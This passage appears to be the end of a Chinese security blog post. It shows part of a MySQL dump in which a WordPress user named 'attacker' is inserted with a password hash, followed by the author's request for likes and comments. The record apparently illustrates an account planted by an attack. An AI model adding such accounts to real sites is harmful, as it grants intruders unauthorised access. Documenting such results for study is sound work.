/*!40000 ALTER TABLE `wp_users` DISABLE KEYS */;
INSERT INTO `wp_users` VALUES (1,'attacker','$wp$2y$10$NjMYgSI1z8vUQvASnvvj5OstOWAGXKXo6NEIDCa7wGXSd2OmIoECK','attacker','attacker@example.com','http://wp712.com','2026-11-12 07:35:42','',0,'attacker');
/*!40000 ALTER TABLE `wp_users` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

看到这里了,觉得文章不错的话点个赞再走呗^_^,如果对文章内容有什么不同见解,欢迎评论区讨论!